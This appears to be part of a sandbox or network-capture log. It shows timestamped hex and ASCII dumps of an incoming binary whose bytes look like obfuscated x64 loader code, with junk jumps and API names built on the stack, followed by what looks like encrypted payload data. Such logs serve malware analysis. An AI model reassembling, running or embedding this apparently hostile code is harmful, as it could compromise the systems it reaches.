2023-05-14 02:35:47 UTC	1806	IN	Data Raw: 00 00 ae 1c 48 8b 4c 24 70 ff 54 24 28 b8 01 00 00 00 e9 05 00 00 00 e9 00 00 00 00 48 83 c4 60 5f c3 89 54 24 10 48 89 4c 24 08 57 48 83 ec 60 e9 00 00 00 00 48 8d 44 24 20 48 8d 64 24 f8 eb 04 80 3d 1e b8 48 89 04 24 e9 07 00 00 00 b2 b4 c9 99 26 11 1c 9f eb 02 7d 7f f9 e9 03 00 00 00 bc 16 11 72 03 b6 e5 90 e8 06 00 00 00 1f 97 e9 94 eb f3 48 83 04 24 13 eb 02 27 b1 c3 7c 6d c2 e9 06 00 00 00 3c af a0 fe df 57 9e 48 8b 04 24 e9 06 00 00 00 d8 42 a0 a8 90 a7 48 8d 64 24 08 eb 05 b0 ea 55 d1 cf eb 02 84 61 48 8b f8 33 c0 eb 02 9c 29 48 8d 64 24 f8 e9 07 00 00 00 6a 24 cb b5 d5 14 73 48 89 04 24 eb 03 20 3b 31 9f f8 73 04 dc 8b 11 e4 e8 07 00 00 00 79 ed cc a1 a4 74 86 48 83 c4 08 e9 04 00 00 00 eb f7 a1 25 eb 06 e2 89 60 2a c2 4e 9e 48 8b 04 24 48 8d 64 Data Ascii: HL$pT$(H`_T$HL$WH`HD$ Hd$=H$&}rH$'\|m<WH$BHd$UaH3)Hd$j$sH$ ;1sytH%`*NH$Hd
2023-05-14 02:35:47 UTC	1822	IN	Data Raw: b9 01 00 00 00 f3 aa 48 8d 54 24 46 48 8d 4c 24 20 e8 8a 59 fd ff 48 8b c8 e8 b5 14 01 00 48 8b c8 e8 c6 45 fe ff 48 89 44 24 28 48 8d 44 24 21 48 8b f8 33 c0 b9 01 00 00 00 f3 aa 48 8d 54 24 38 48 8d 4c 24 21 e8 80 38 fd ff 48 8b c8 e8 32 58 00 00 48 8b d0 48 8b 4c 24 28 e8 68 40 fe ff 48 89 44 24 30 48 8b 4c 24 70 ff 54 24 30 48 83 c4 60 5f c3 40 57 48 83 ec 60 e9 5c 00 00 00 eb 05 42 a2 2d f7 f1 48 8d 64 24 f8 48 89 04 24 eb 02 fa ee 9f e9 07 00 00 00 42 fa 6d af 54 7d 2e e9 04 00 00 00 d4 38 eb d1 e8 02 00 00 00 86 f2 48 83 04 24 16 38 ff 74 04 ce 1e 6c 1e c3 b5 60 5e 13 88 85 eb 05 d4 aa a6 aa 8d 9e 58 e9 02 00 00 00 d2 ce e9 02 00 00 00 1c f9 48 8d 44 24 20 48 8b f8 33 c0 48 8d 64 24 f8 eb 07 e0 25 de 76 73 8c 46 48 89 04 24 9f eb 03 fe 4d 52 e8 05 Data Ascii: HT$FHL$ YHHEHD$(HD$!H3HT$8HL$!8H2XHHL$(h@HD$0HL$pT$0H`_@WH`\B-Hd$H$BmT}.8H$8tl`^XHD$ H3Hd$%vsFH$MR
2023-05-14 02:35:47 UTC	1838	IN	Data Raw: 89 04 24 e9 03 00 00 00 b5 e7 48 9f e9 06 00 00 00 21 60 41 8e 32 19 f9 72 07 5f e3 86 cf 77 6a 36 e8 05 00 00 00 3d ef 61 89 8c 48 ff c4 38 c9 e9 02 00 00 00 b7 c5 74 07 56 a9 f4 30 25 35 f2 48 ff c4 f9 72 06 bb 46 22 29 5d 91 48 ff c4 e9 05 00 00 00 b5 ab 77 c2 8c 48 ff c4 f9 eb 04 4c e6 fc f7 72 04 e7 4d e4 a8 48 ff c4 f8 e9 07 00 00 00 d5 8c fc 7c ed 8f 78 73 04 86 2e 4c 62 48 ff c4 eb 02 56 de 48 ff c4 f8 e9 04 00 00 00 50 b0 9d b1 73 03 28 bd d4 48 ff c4 38 ed e9 02 00 00 00 71 cb 74 03 84 42 a0 e9 02 00 00 00 2e 68 eb 05 dd 8b 29 9c 78 9e 58 0f 83 77 02 00 00 eb 07 45 d6 da 18 4e 1a 12 48 8d 64 24 f8 e9 06 00 00 00 23 ad 4e 39 6a 70 48 89 04 24 e9 07 00 00 00 5a 4a 13 51 33 65 45 9f eb 05 9e 64 dd 14 97 38 f6 eb 06 cf 47 15 48 31 dd 74 03 d8 37 3f Data Ascii: $H!`A2r_wj6=aH8tV0%5HrF")]HwHLrMH\|xs.LbHVHPs(H8qtB.h)xXwENHd$#N9jpH$ZJQ3eEd8GH1t7?
2023-05-14 02:35:47 UTC	1854	IN	Data Raw: 44 24 12 6c eb 02 14 45 48 8d 64 24 f8 eb 04 d1 dd a0 50 48 89 04 24 eb 03 cc b4 c9 9f e8 06 00 00 00 17 8d 40 eb f8 65 48 8d 64 24 08 e9 03 00 00 00 92 47 c8 9e 58 e9 07 00 00 00 f2 1f cb 1f b1 47 1c eb 07 c6 5a f6 cc 55 68 75 c6 44 24 13 65 c6 44 24 14 61 c6 44 24 15 6e e9 02 00 00 00 80 c4 9c e9 06 00 00 00 f2 57 30 f1 b1 44 e9 02 00 00 00 75 7c e8 05 00 00 00 f1 66 66 90 67 48 8d 64 24 08 9d eb 07 45 cb 6b be c0 5f f8 c6 44 24 16 75 50 e9 06 00 00 00 40 14 96 53 36 65 9f f9 eb 07 de e0 e3 d8 54 dd a8 72 07 c5 40 6d de 54 1f 14 e8 05 00 00 00 6f 20 e2 6b 7e 48 8d 64 24 08 e9 07 00 00 00 db 45 e7 d3 c1 40 46 9e 58 eb 03 2a d2 89 c6 44 24 17 70 c6 44 24 18 47 c6 44 24 19 72 e9 04 00 00 00 20 fd ec 11 50 e9 07 00 00 00 6c 92 bf 53 51 dd 5e 9f e9 05 00 00 Data Ascii: D$lEHd$PH$@eHd$GXGZUhuD$eD$aD$nW0Du\|ffgHd$Ek_D$uP@S6eTr@mTo k~Hd$E@FX*D$pD$GD$r PlSQ^
2023-05-14 02:35:47 UTC	1870	IN	Data Raw: 02 d7 69 73 03 a4 8e 3e 48 ff c4 eb 02 ff e2 48 ff c4 f8 eb 04 84 c5 41 1e 73 03 45 d2 7c e9 03 00 00 00 3b bb 3c 9d eb 02 bf 9b e9 06 00 00 00 59 95 6b fc 41 91 e9 00 00 00 00 48 83 c4 28 c3 48 89 4c 24 08 48 83 ec 18 e9 9d 00 00 00 e9 04 00 00 00 14 69 12 a7 9c e9 04 00 00 00 49 39 6b ea e9 07 00 00 00 f3 e9 7c 23 d1 d9 ef e8 04 00 00 00 fb 5f 6b d4 48 ff c4 38 e4 e9 04 00 00 00 e5 fc 16 db 74 05 e9 fd ab b8 39 48 ff c4 38 d2 74 04 28 86 d8 69 48 ff c4 eb 06 6c bf c1 6b fb d8 48 ff c4 f9 e9 03 00 00 00 7c 3b 33 72 03 f0 ef 5a 48 ff c4 f8 eb 03 db 2a 11 73 05 b7 3f a1 9b b8 48 ff c4 48 ff c4 48 ff c4 f9 eb 02 db 63 72 07 3f 66 f7 51 15 d1 4b 9d eb 06 79 64 21 66 99 78 e9 04 00 00 00 57 d7 92 5b 48 c7 04 24 00 00 00 00 e9 fe 00 00 00 eb 04 e0 ee 25 4a 50 Data Ascii: is>HHAsE\|;<YkAH(HL$HiI9k\|#_kH8t9H8t(iHlkH\|;3rZH*s?HHHcr?fQKyd!fxW[H$%JP
2023-05-14 02:35:47 UTC	1886	IN	Data Raw: 18 49 d3 a0 48 ff c4 f9 e9 07 00 00 00 73 15 4d 24 b4 dd 57 72 07 53 75 cf 12 79 b5 29 48 ff c4 38 ed 74 06 62 45 f5 9d 11 88 eb 05 82 20 b8 e0 c1 eb 05 37 88 71 c3 83 9e 58 eb 04 92 1e e9 f6 c6 44 24 09 65 c6 44 24 0a 74 c6 44 24 0b 46 c6 44 24 0c 69 48 8d 64 24 f8 48 89 04 24 e9 05 00 00 00 78 7e 45 cc 8e 9f e9 06 00 00 00 f6 cb 51 3a d7 23 eb 02 b2 e6 e8 04 00 00 00 9c 4b bc 15 48 83 04 24 25 38 f6 e9 06 00 00 00 7a 8e c1 97 2a 27 74 06 64 80 54 22 25 4b c3 49 ee 95 bb b5 94 e9 04 00 00 00 58 f7 a1 b2 9e 48 8b 04 24 eb 03 d6 5a 35 48 8d 64 24 08 eb 04 93 c4 e4 fa eb 05 53 69 e0 76 c3 c6 44 24 0d 6c eb 04 e5 8b d9 f9 9c e9 03 00 00 00 4e ea 52 eb 02 66 5c e8 06 00 00 00 ce 65 11 9a 9c b5 48 83 04 24 17 e9 03 00 00 00 b8 7d 7b c3 5c 97 14 eb 05 a8 e9 61 Data Ascii: IHsM$WrSuy)H8tbE 7qXD$eD$tD$FD$iHd$H$x~EQ:#KH$%8z*'tdT"%KIXH$Z5Hd$SivD$lNRf\eH$}{\a
2023-05-14 02:35:47 UTC	1902	IN	Data Raw: 48 ff c4 f9 eb 02 24 93 72 07 43 ac 32 68 b0 b7 5d 48 ff c4 e9 04 00 00 00 25 72 7c 56 48 ff c4 f8 73 07 c2 be f2 20 22 af 87 48 ff c4 38 d2 eb 07 6e 86 6a 46 36 90 41 74 02 b7 82 48 ff c4 f8 73 03 92 58 d8 48 ff c4 f9 e9 06 00 00 00 62 d5 c7 2a 4d fc 72 06 29 ec ef 48 6c 7e 48 ff c4 f8 eb 06 b8 1a 6f e3 dc be 73 02 65 4c eb 02 8a 78 9e 58 eb 02 bb cd c6 44 24 0d 61 9c eb 03 60 17 90 f8 e9 06 00 00 00 82 fb b5 7b 41 f1 73 03 88 f4 33 e8 02 00 00 00 1c 53 48 8d 64 24 08 9d c6 44 24 0e 74 eb 04 49 f4 52 e4 50 eb 07 de c6 73 cc a3 86 bf 9f e9 02 00 00 00 69 e6 38 ed eb 06 48 48 b9 27 95 21 74 02 48 74 e8 02 00 00 00 e2 b3 48 8d 64 24 08 eb 04 5b df 6d 1f 9e 58 e9 04 00 00 00 88 4b 2f d8 eb 04 31 74 9d ac c6 44 24 0f 65 e9 05 00 00 00 28 84 28 f2 17 50 e9 02 Data Ascii: H$rC2h]H%r\|VHs "H8njF6AtHsXHb*Mr)Hl~HoseLxXD$a`{As3SHd$D$tIRPsi8HH'!tHtHd$[mXK/1tD$e((P
2023-05-14 02:35:47 UTC	1918	IN	Data Raw: ff c4 eb 05 6e a9 9c 71 85 eb 07 45 7e b9 da 62 6a ae 9e 48 8b 04 24 e9 03 00 00 00 c3 53 fa 48 8d 64 24 08 eb 05 f3 b4 81 9f e5 eb 06 4f 38 20 ec 16 7b 48 ff c0 48 89 04 24 48 83 3c 24 0d eb 07 c3 60 a6 b1 65 49 80 48 8d 64 24 f8 eb 05 55 76 90 75 1a 48 89 04 24 eb 04 eb cd 6a b0 9f e9 05 00 00 00 9b 8f 69 7f 44 eb 05 ee 9d 5b 1a ac e8 06 00 00 00 c4 37 1e cb 83 57 48 ff c4 eb 04 bf 7c f8 3a 48 ff c4 f9 e9 04 00 00 00 2e 5e 30 da 72 05 95 74 ed 97 fe 48 ff c4 e9 03 00 00 00 f9 e0 ee 48 ff c4 38 ff eb 07 9b 9f 7b 8c aa ef f0 74 04 7d 78 11 ae 48 ff c4 38 db eb 04 21 f5 20 ad 74 02 9f 40 48 ff c4 38 ed e9 04 00 00 00 a0 21 e6 4a 74 06 fe 11 78 78 3a 64 48 ff c4 f9 72 05 ea bc cf ff 4e 48 ff c4 eb 04 53 5a 90 91 e9 02 00 00 00 e5 4d eb 05 4b ed 74 e8 f7 9e Data Ascii: nqE~bjH$SHd$O8 {HH$H<$`eIHd$UvuH$jiD[7WH\|:H.^0rtHH8{t}xH8! t@H8!Jtxx:dHrNHSZMKt
2023-05-14 02:35:47 UTC	1934	IN	Data Raw: 38 d2 74 04 7b bc c4 1c 48 ff c4 38 ed 74 07 41 67 58 b4 93 c2 61 48 ff c4 f9 eb 04 48 e2 6b 41 72 07 98 4c 2f 3f 8e f3 87 48 ff c4 f8 73 05 6c 3d c4 f0 37 e9 02 00 00 00 f9 32 9e 48 8b 04 24 e9 04 00 00 00 c3 d3 f8 6e 48 8d 64 24 08 eb 02 4b 78 e9 03 00 00 00 6d 5c 26 0f 83 cf 01 00 00 48 8b 04 24 50 e9 07 00 00 00 19 ce 49 3f 5b d6 e0 9f e9 05 00 00 00 18 52 dc 33 3e f9 e9 07 00 00 00 d5 27 e3 95 65 e7 1e 72 07 9f 9e c5 e0 a9 48 49 e8 05 00 00 00 46 55 7a 51 51 48 ff c4 38 ff e9 03 00 00 00 ad d5 bd 74 06 b1 ec dd a3 55 83 48 ff c4 f8 73 02 42 40 48 ff c4 48 ff c4 38 db eb 02 58 48 74 02 6a e2 48 ff c4 f9 eb 05 3f c1 a0 69 62 72 06 65 59 6e 9c dd 9c 48 ff c4 38 c0 eb 07 b7 cd 94 98 26 b5 7e 74 07 83 fe 35 58 45 9f 99 48 ff c4 38 db e9 07 00 00 00 c0 4b Data Ascii: 8t{H8tAgXaHHkArL/?Hsl=72H$nHd$Kxm\&H$PI?[R3>'erHIFUzQQH8tUHsB@HH8XHtjH?ibreYnH8&~t5XEH8K
2023-05-14 02:35:47 UTC	1950	IN	Data Raw: 07 00 00 00 e6 e4 91 67 e6 19 cc eb 07 4a 59 89 ab b6 78 2a e9 05 00 00 00 e9 00 00 00 00 48 83 c4 28 c3 48 89 4c 24 08 48 83 ec 28 e9 4f 00 00 00 eb 07 9a ec 8e 55 e3 6c b4 9c f9 eb 07 22 3c fe 4c ac aa 31 72 03 29 8f 1d e8 07 00 00 00 4e d1 4c 64 60 b9 40 48 83 04 24 21 f8 eb 05 e9 a8 c2 8c f6 73 07 18 ac c2 7a 9d 6d e7 c3 11 58 dc eb 03 c3 63 33 9d e9 05 00 00 00 1e fc f0 dc cc c6 44 24 08 4e c6 44 24 09 74 e9 04 00 00 00 6d de c3 4d 48 8d 64 24 f8 48 89 04 24 e9 07 00 00 00 de bb f4 f4 45 39 6f 9f eb 06 74 70 13 1b 6d ed f8 73 02 84 4d e8 06 00 00 00 72 17 66 1e 3d ee 48 8d 64 24 08 e9 04 00 00 00 80 ef 9c c0 9e 58 c6 44 24 0a 53 c6 44 24 0b 65 c6 44 24 0c 74 c6 44 24 0d 49 c6 44 24 0e 6e eb 03 dd 32 4d 48 8d 64 24 f8 eb 07 bb 7e 11 ad b2 92 f5 48 89 Data Ascii: gJYx*H(HL$H(OUl"<L1r)NLd`@H$!szmXc3D$ND$tmMHd$H$E9otpmsMrf=Hd$XD$SD$eD$tD$ID$n2MHd$~H
2023-05-14 02:35:47 UTC	1966	IN	Data Raw: e4 e9 03 00 00 00 76 3e a4 74 02 75 66 e8 06 00 00 00 16 f0 8a 7b d7 6d 48 83 c4 08 9d eb 02 14 fe eb 06 ab 2e eb fa e4 ed c6 44 24 17 4f c6 44 24 18 62 c6 44 24 19 6a c6 44 24 1a 65 eb 06 ec 17 86 27 27 31 50 e9 04 00 00 00 43 81 87 f8 9f e9 05 00 00 00 2c de 44 da d1 f9 eb 04 f6 ee 6d f5 72 06 49 d0 26 b6 87 ee e8 05 00 00 00 92 96 49 14 a0 48 83 c4 08 eb 07 53 2c 5b c9 6a cd 69 e9 05 00 00 00 5e 66 3d 1e 70 9e 48 8b 04 24 e9 07 00 00 00 73 3f 2c 81 98 fe 66 48 8d 64 24 08 c6 44 24 1b 63 50 9f e9 05 00 00 00 dc fe e6 8a 38 f8 73 03 17 34 66 e8 07 00 00 00 ae 58 4e 61 8c fc 28 48 83 04 24 10 c3 c5 33 71 e9 03 00 00 00 1e 9c 37 e9 07 00 00 00 75 1d 40 9e 19 d5 71 9e 48 8b 04 24 48 8d 64 24 08 e9 07 00 00 00 ef 38 c5 a3 4a b0 5b c6 44 24 1c 74 eb 05 11 30 Data Ascii: v>tuf{mH.D$OD$bD$jD$e''1PC,DmrI&IHS,[ji^f=pH$s?,fHd$D$cP8s4fXNa(H$3q7u@qH$Hd$8J[D$t0
2023-05-14 02:35:47 UTC	1982	IN	Data Raw: 1d f9 e9 02 00 00 00 c8 51 72 07 8d b1 aa 1a c0 d6 92 c3 47 71 6f e9 04 00 00 00 77 92 a9 37 9e 58 eb 07 78 df 3d 71 a9 e2 f2 48 8b 44 24 30 e9 c1 00 00 00 e9 02 00 00 00 f9 1f 9c 38 d2 e9 05 00 00 00 a2 87 b0 9f 9a 74 03 42 7a fd e8 07 00 00 00 e1 de 61 a8 7a c2 27 48 ff c4 38 f6 e9 05 00 00 00 f0 3b fb 2f 4d 74 02 af f4 48 ff c4 e9 07 00 00 00 7b 6c 4a fb a1 44 98 48 ff c4 eb 03 e5 16 63 48 ff c4 f9 72 07 d3 51 d3 cc ed 1b a2 48 ff c4 38 db e9 02 00 00 00 e2 a5 74 06 34 e3 5a 7a a9 2e 48 ff c4 f9 eb 07 da 93 1c 55 a4 3d 6a 72 06 cc 48 de 64 cb 55 48 ff c4 38 c0 e9 05 00 00 00 a0 a0 f9 92 5d 74 03 93 6b 5c 48 ff c4 38 e4 e9 03 00 00 00 31 41 17 74 02 bc ae e9 04 00 00 00 7e 9f 35 43 9d e9 03 00 00 00 4c df bb e9 00 00 00 00 48 83 c4 28 c3 48 89 4c 24 08 Data Ascii: QrGqow7Xx=qHD$08tBzaz'H8;/MtH{lJDHcHrQH8t4Zz.HU=jrHdUH8]tk\H81At~5CLH(HL$
2023-05-14 02:35:47 UTC	1998	IN	Data Raw: 46 ba 6a 5c ff f9 eb 07 61 b7 58 18 bb 60 73 72 04 4e b5 38 39 e8 05 00 00 00 a3 bd a5 d6 ad 48 ff c4 f9 72 04 4a 2e c3 70 48 ff c4 38 d2 74 07 fa fc d8 68 75 1f 55 48 ff c4 38 f6 74 03 eb 2c 79 48 ff c4 f9 72 04 df 54 2d 68 48 ff c4 f9 e9 06 00 00 00 8e 91 3a 7b c0 d1 72 03 99 ce 48 48 ff c4 48 ff c4 38 db e9 02 00 00 00 f3 51 74 07 8d af fa 77 3c 35 f0 48 ff c4 e9 03 00 00 00 bf d3 e7 e9 03 00 00 00 fc 3e 63 e9 06 00 00 00 7c 98 67 86 d0 11 9e 48 8b 04 24 e9 04 00 00 00 82 16 20 1c 48 8d 64 24 08 e9 06 00 00 00 64 8b dd a4 cd 11 85 c0 48 8d 64 24 f8 e9 06 00 00 00 be b9 e7 f4 a0 b0 48 89 04 24 e9 05 00 00 00 13 78 76 d2 9b 9f e9 07 00 00 00 79 5d d2 2e ab 62 f7 f8 73 07 84 d1 69 50 38 31 a1 e8 04 00 00 00 bb d9 f7 ac 48 ff c4 f8 73 04 16 a3 de c8 48 ff Data Ascii: Fj\aX`srN89HrJ.pH8thuUH8t,yHrT-hH:{rHHH8Qtw<5H>c\|gH$ Hd$dHd$H$xvy].bsiP81HsH
2023-05-14 02:35:47 UTC	2014	IN	Data Raw: 24 f8 eb 02 2d 39 48 89 04 24 9f e9 06 00 00 00 65 94 eb b1 4b b2 f8 73 02 40 33 e8 02 00 00 00 36 d6 48 83 04 24 1e f9 e9 07 00 00 00 62 3f 64 3a a4 4f 1c 72 04 11 f4 71 53 c3 96 e0 d2 eb 06 e3 95 33 dd eb b5 9e 58 eb 06 8a 23 fe 77 96 ac e9 03 00 00 00 6d e9 ba 48 8b 84 c1 1a 01 00 00 48 89 44 24 30 48 83 7c 24 30 00 48 8d 64 24 f8 eb 03 dc 7c 53 48 89 04 24 9f eb 05 9f 36 b4 b1 53 f9 eb 05 36 40 2c 82 84 72 04 8c a0 ab 19 e8 05 00 00 00 90 e9 3f ae cd 48 8d 64 24 08 e9 04 00 00 00 9a 7c 41 96 9e 48 8b 04 24 eb 05 54 ed 63 df 9a 48 8d 64 24 08 eb 05 1e 6a a1 54 17 e9 07 00 00 00 af e4 98 db 30 6d 32 0f 84 6b 03 00 00 eb 04 d1 35 c4 b0 50 eb 07 be 6b b5 79 42 63 89 9f e9 02 00 00 00 d2 b0 eb 07 85 79 7e 3a 18 b2 75 e8 06 00 00 00 1e c8 1b bc 6d 7e 48 83 Data Ascii: $-9H$eKs@36H$b?d:OrqS3X#wmHHD$0H\|$0Hd$\|SH$6S6@,r?Hd$\|AH$TcHd$jT0m2k5PkyBcy~:um~H
2023-05-14 02:35:47 UTC	2030	IN	Data Raw: 87 59 48 ff c4 38 f6 eb 04 d9 22 f9 d1 74 03 11 3f d3 48 ff c4 f9 72 04 4e e3 1a a6 48 ff c4 48 ff c4 f8 73 02 bd ba 48 ff c4 f8 73 06 62 aa 4a 50 d0 f0 eb 06 a5 f8 d7 6b f6 6d 9e 48 8b 04 24 eb 04 95 59 e3 c3 48 8d 64 24 08 eb 04 dc 94 6a fa 48 8b 4c 24 70 8b 4c 01 08 e8 0d f4 fa ff 48 89 84 24 98 00 00 00 4c 8d 8c 24 98 00 00 00 4c 8d 84 24 a8 00 00 00 ba 40 04 00 00 48 8d 4c 24 78 e8 5b eb fb ff 89 44 24 48 83 7c 24 48 00 0f 8c b5 00 00 00 e9 04 00 00 00 8e 13 6a 58 9c e9 04 00 00 00 b0 e4 c0 58 e8 02 00 00 00 22 80 48 83 04 24 12 f8 73 02 e5 e6 c3 5c 91 74 42 37 e9 03 00 00 00 1d 8c d1 9d eb 07 7c 14 31 82 3b 69 95 c7 44 24 64 01 00 00 00 e9 a5 00 00 00 50 eb 05 f4 98 d2 2e 42 9f eb 07 90 6d f7 9c 90 7b 6e f8 73 05 6d 41 72 6c 26 e8 03 00 00 00 8d a5 Data Ascii: YH8"t?HrNHHsHsbJPkmH$YHd$jHL$pLH$L$L$@HL$x[D$H\|$HjXX"H$s\tB7\|1;iD$dP.Bm{nsmArl&
2023-05-14 02:35:47 UTC	2046	IN	Data Raw: e9 b5 0f b7 44 24 20 48 8d 64 24 f8 e9 05 00 00 00 72 ca a1 a1 fc 48 89 04 24 e9 04 00 00 00 d2 1f c1 e2 9f e9 06 00 00 00 17 c9 4d 80 47 ec 38 c0 e9 03 00 00 00 1e 5e 7b 74 04 5d 66 53 32 e8 06 00 00 00 4b 92 1f 27 d3 ae 48 83 04 24 18 38 c0 74 03 60 a8 1c c3 2c f7 9b 43 4a 9e 58 e9 07 00 00 00 14 b8 1f 34 9d f4 d5 eb 05 cc be 35 e0 94 48 6b c0 0c 9c eb 04 f2 25 64 ac eb 05 cb 4a e6 ab 6e e8 05 00 00 00 f0 87 51 55 fb 48 83 04 24 1c 38 ff eb 04 cd 29 97 a4 74 03 4e f2 62 c3 b2 bd 2d d8 e9 03 00 00 00 29 9b 9a 9d e9 07 00 00 00 83 9c 73 36 73 c4 f4 e9 03 00 00 00 43 a3 75 48 8b 4c 24 30 50 eb 02 e6 1e 9f eb 06 b7 7e f9 a7 18 a9 38 db e9 03 00 00 00 9d bb 85 74 07 e7 7a bc 94 f4 f0 f4 e8 05 00 00 00 eb f9 46 4a 4c 48 83 c4 08 eb 02 51 e0 eb 06 e1 86 b6 af Data Ascii: D$ Hd$rH$MG8^{t]fS2K'H$8t`,CJX45Hk%dJnQUH$8)tNb-)s6sCuHL$0P~8tzFJLHQ
2023-05-14 02:35:47 UTC	2062	IN	Data Raw: 05 6f cc ed 30 ea 9c e9 02 00 00 00 9a 92 eb 06 38 2d 78 74 c6 fa e8 05 00 00 00 60 97 a3 eb 42 48 ff c4 38 c9 e9 06 00 00 00 9d 89 c1 47 89 e2 74 04 b2 60 78 55 48 ff c4 f9 e9 03 00 00 00 a6 5f bb 72 04 89 1b 8c 8e 48 ff c4 48 ff c4 48 ff c4 48 ff c4 38 ed 74 06 f7 db 56 31 41 73 48 ff c4 eb 07 d7 75 60 2a f3 fc 83 48 ff c4 f9 eb 02 36 cb 72 02 ae 2b 9d e9 04 00 00 00 e1 de 18 42 c6 44 24 08 4c 9c e9 03 00 00 00 34 c5 b1 f9 72 02 26 4d e8 03 00 00 00 a7 db 2b 48 83 c4 08 9d c6 44 24 09 64 c6 44 24 0a 72 c6 44 24 0b 52 c6 44 24 0c 65 48 8d 64 24 f8 48 89 04 24 9f eb 04 8a cb d7 62 f8 eb 02 c7 62 73 07 7a ea f1 60 9c 45 ee e8 05 00 00 00 2c 2b 88 b2 99 48 ff c4 eb 02 9d 2e 48 ff c4 38 ff eb 07 81 af 9e ec f8 f1 3f 74 04 62 fb 94 8b 48 ff c4 f9 e9 05 00 00 Data Ascii: o08-xt`BH8Gt`xUH_rHHHH8tV1AsHu`*H6r+BD$L4r&M+HD$dD$rD$RD$eHd$H$bbsz`E,+H.H8?tbH
2023-05-14 02:35:47 UTC	2078	IN	Data Raw: 71 c7 48 95 6e dd 6b 81 30 7a b1 8e 78 2b 99 d0 ad 62 d2 80 d2 fd 5f 79 54 6f da e7 5d 72 7a 42 e0 49 92 e6 7b 84 5a 30 3d e9 40 ac ff 94 db 76 77 df 72 1c f0 da f7 49 82 db 46 4c ba 37 57 a0 84 3f b8 9c d0 ca 9c d1 54 2e 5c 31 96 8b e5 2f 46 ec f4 e4 6e 5b 33 b6 4e b2 d7 d8 30 73 c9 1e 1b c5 4f 1d e0 35 f9 1d d1 22 de f2 b1 56 40 ac dc 25 65 63 27 d4 7a 4e d7 d0 90 90 90 90 48 83 c4 48 c3 44 88 4c 24 20 44 89 44 24 18 48 89 54 24 10 48 89 4c 24 08 56 57 48 83 ec 78 e9 3b 00 00 00 50 9f e9 06 00 00 00 58 1e 4f 5e 31 57 f9 eb 02 91 48 72 07 7e cb a5 61 be 42 75 e8 04 00 00 00 96 97 fc 54 48 8d 64 24 08 e9 04 00 00 00 cb ad f5 71 9e 58 eb 05 d6 c7 ab ae ba 8b 8c 24 a0 00 00 00 e9 04 00 00 00 f2 2b 74 6f 9c eb 02 7f da 38 ed e9 05 00 00 00 aa d1 56 c8 5f 74 Data Ascii: qHnk0zx+b_yTo]rzBI{Z0=@vwrIFL7W?T.\1/Fn[3N0sO5"V@%ec'zNHHDL$ DD$HT$HL$VWHx;PXO^1WHr~aBuTHd$qX$+to8V_t
2023-05-14 02:35:47 UTC	2094	IN	Data Raw: 55 19 a5 39 eb 05 ff 32 2b 67 5e e9 02 00 00 00 19 4a 9e 48 8b 04 24 e9 04 00 00 00 97 84 f2 5b 48 8d 64 24 08 e9 06 00 00 00 97 66 80 32 e2 c9 48 89 44 24 40 eb 03 3b c4 ab 50 eb 03 81 3b 7f 9f eb 06 51 ef ff 6a c0 b5 eb 04 85 6b 45 12 e8 04 00 00 00 14 25 e5 61 48 83 04 24 0e c3 68 2f 41 fa eb 02 d2 e0 9e 48 8b 04 24 e9 04 00 00 00 ee db 6f e4 48 8d 64 24 08 eb 03 6a e9 33 e9 04 00 00 00 da 5f 50 b7 b8 08 00 00 00 48 6b c0 09 48 8b 4c 24 68 48 8d 64 24 f8 e9 04 00 00 00 92 9f 69 5c 48 89 04 24 e9 04 00 00 00 db cf 42 79 9f e9 05 00 00 00 4a 83 d2 4e 23 f9 e9 07 00 00 00 85 61 eb 66 1c de 57 72 03 94 e5 7d e8 02 00 00 00 8f f8 48 ff c4 38 ff 74 04 6f d3 c1 1f 48 ff c4 f9 eb 02 7c 36 72 06 9e 2d e7 ce 11 7b 48 ff c4 eb 02 cc c5 48 ff c4 f9 eb 06 63 74 a2 Data Ascii: U92+g^JH$[Hd$f2HD$@;P;QjkE%aH$h/AH$oHd$j3_PHkHL$hHd$i\H$ByJN#afWr}H8toH\|6r-{HHct
2023-05-14 02:35:47 UTC	2110	IN	Data Raw: 58 eb 04 e0 68 ac e5 e9 04 00 00 00 3b 56 e7 66 c6 44 24 0e 46 eb 05 cd 2b 81 1e 19 9c e9 06 00 00 00 e1 f3 aa c4 c3 5c e8 04 00 00 00 1a 16 20 be 48 ff c4 f9 eb 05 f9 51 c1 f9 7e 72 04 48 88 a2 2d 48 ff c4 e9 04 00 00 00 f4 71 50 af 48 ff c4 f9 72 05 3c fb db 72 ed 48 ff c4 f9 72 07 92 e4 66 81 d1 4d 8d 48 ff c4 48 ff c4 eb 03 fe 2d e2 48 ff c4 f8 e9 04 00 00 00 f4 f3 6b bc 73 05 1e 72 83 67 bd 48 ff c4 f8 eb 02 6e b8 73 02 72 1c e9 02 00 00 00 ea 30 9d eb 07 a8 e3 aa 9d 3a 4d 97 eb 05 84 13 ec c5 1b c6 44 24 0f 75 eb 02 bf 47 9c eb 04 9a 83 55 4c 38 ed 74 05 7d b4 fd 52 2a e8 02 00 00 00 5b 1f 48 83 04 24 19 f9 e9 02 00 00 00 f5 60 72 02 90 c6 c3 1a e7 41 65 9b eb 03 ce 4a b3 9d e9 04 00 00 00 c6 82 2a b0 c6 44 24 10 6e c6 44 24 11 63 c6 44 24 12 74 c6 Data Ascii: Xh;VfD$F+\ HQ~rH-HqPHr<rHrfMHH-HksrgHnsr0:MD$uGUL8t}R[H$`rAeJD$nD$cD$t
2023-05-14 02:35:47 UTC	2126	IN	Data Raw: 30 77 3b e7 52 9f 04 51 f2 13 3f d6 50 b4 2d bb 6e bc 87 e6 6b 62 73 c0 62 9c d7 e8 da e6 48 d0 9c 5e 9f 3a f5 59 cc ab 39 e8 85 31 ea c3 94 02 bb da 7b 79 11 bd 1d 02 54 40 ba 06 5c c9 90 ed 22 e1 a0 20 3c 8e d2 dc 53 c3 2a ed 48 27 1b 0b 63 6d 0f 25 62 77 b7 66 89 65 8b 50 c1 c4 71 ad 9c 6a 2d 15 46 69 46 6a 10 69 2c 16 42 6e 23 5b 4c 41 2a 8f 7f ec 5d 7d 3f 5c d0 42 b4 66 76 7d 02 b1 49 4c dc 58 59 32 f7 19 e9 41 61 d1 5f bb f0 e5 e7 1d 82 05 65 31 1e c3 52 95 1b 74 a6 54 62 5f 6a ef ab 30 d6 17 62 61 e6 3d 5a 7c a3 02 47 fa 2c d8 49 aa 93 8d 21 82 6c f7 d7 c1 e1 03 08 ae 8b 57 ec d2 d8 99 4f 55 6d 0d 4d bc f1 23 ea a8 1b f0 66 75 f6 c5 d2 0c 87 d0 5c 27 75 f2 49 ba 00 19 c9 db 09 7c 95 cf 8c 83 3a 6c bb af b4 ae c6 5f da 34 7c 01 4a 55 ba 40 b5 5c 29 Data Ascii: 